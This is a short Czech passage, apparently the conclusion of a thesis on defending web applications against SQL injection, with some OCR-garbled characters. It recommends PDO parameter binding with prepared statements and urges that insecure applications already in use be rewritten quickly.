v aplikaci obsaZené. Zvysuje tedy zaroven robustnost i bezpecnost celé aplikace.

Primarni cil prace - navrhnout G¢inné feSeni zabezpeceni proti utokiim SQL Injection - byl

splnén.

Metodu svazovani proménnych pomoci PDO v kombinaci s pfedpfipravenymi dotazy,
které vyuzivaji tutéz technologii, 1ze pro komunikaci webovych aplikaci doporucit jako
nejvhodnéjsi. V piipadé jiz spusténych a nezabezpecenych aplikacich je tfeba v nejkratSim
mozném terminu preprogramovat metody a funkce obsluhujici databazi do vyhovujici

podoby.
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